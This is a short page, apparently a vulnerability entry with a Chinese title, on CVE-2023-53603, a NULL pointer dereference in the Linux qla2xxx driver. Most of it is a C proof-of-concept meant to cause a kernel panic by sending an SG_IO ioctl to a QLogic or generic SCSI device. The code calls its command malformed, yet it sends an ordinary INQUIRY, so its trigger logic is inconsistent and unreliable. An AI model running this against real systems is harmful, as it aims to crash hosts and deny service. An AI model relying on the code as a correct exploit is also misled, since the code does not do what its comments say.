CVE-2023-53603 Linux内核qla2xxx驱动空指针解引用漏洞

/* * CVE-2023-53603 PoC - Trigger NULL pointer dereference in qla2xxx driver * This PoC demonstrates how to trigger the vulnerability by causing * sa_ctl to be NULL, leading to fcport NULL pointer dereference. * * Note: Requires local access and qla2xxx driver loaded (QLogic FC HBA). * Expected result: Kernel Oops/Panic -> System crash (DoS) */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> #include <errno.h> /* SCSI Generic (sg) interface header */ #include <scsi/sg.h> #include <scsi/scsi_ioctl.h> #define QLA2XXX_IOCTL_PATH "/dev/qla2xxx" /* Trigger the vulnerable code path by sending specific SCSI commands * that cause the driver to enter the routine where sa_ctl may be NULL. * This forces the NULL fcport pointer dereference at exit path. */ int trigger_null_deref(void) { int fd; sg_io_hdr_t io_hdr; unsigned char sense_buffer[32]; unsigned char data_buffer[1024]; /* Attempt to open qla2xxx device node */ fd = open(QLA2XXX_IOCTL_PATH, O_RDWR); if (fd < 0) { /* Fallback: trigger via /dev/sg* generic SCSI devices * bound to QLogic HBA */ for (int i = 0; i < 26; i++) { char path[64]; snprintf(path, sizeof(path), "/dev/sg%d", i); fd = open(path, O_RDWR); if (fd >= 0) break; } if (fd < 0) { fprintf(stderr, "[-] No QLogic HBA device found.\n"); return -1; } } memset(&io_hdr, 0, sizeof(sg_io_hdr_t)); memset(sense_buffer, 0, sizeof(sense_buffer)); memset(data_buffer, 0, sizeof(data_buffer)); /* Construct a malformed SCSI command that triggers the * vulnerable code path with sa_ctl == NULL condition */ io_hdr.interface_id = 'S'; io_hdr.dxfer_direction = SG_DXFER_NONE; io_hdr.cmd_len = 6; unsigned char cmd[6] = {0x12, 0x00, 0x00, 0x00, 0x00, 0x00}; /* INQUIRY */ io_hdr.cmdp = cmd; io_hdr.sbp = sense_buffer; io_hdr.mx_sb_len = sizeof(sense_buffer); io_hdr.timeout = 5000; /* Issue the IOCTL - on vulnerable kernels this triggers * NULL fcport dereference -> kernel panic */ if (ioctl(fd, SG_IO, &io_hdr) < 0) { fprintf(stderr, "[-] ioctl failed: %s\n", strerror(errno)); close(fd); return -1; } close(fd); printf("[+] Trigger issued. Check dmesg for kernel oops.\n"); return 0; } int main(int argc, char *argv[]) { printf("[*] CVE-2023-53603 PoC - qla2xxx NULL Pointer Dereference\n"); printf("[*] Target: Linux kernel qla2xxx SCSI driver\n"); return trigger_null_deref(); }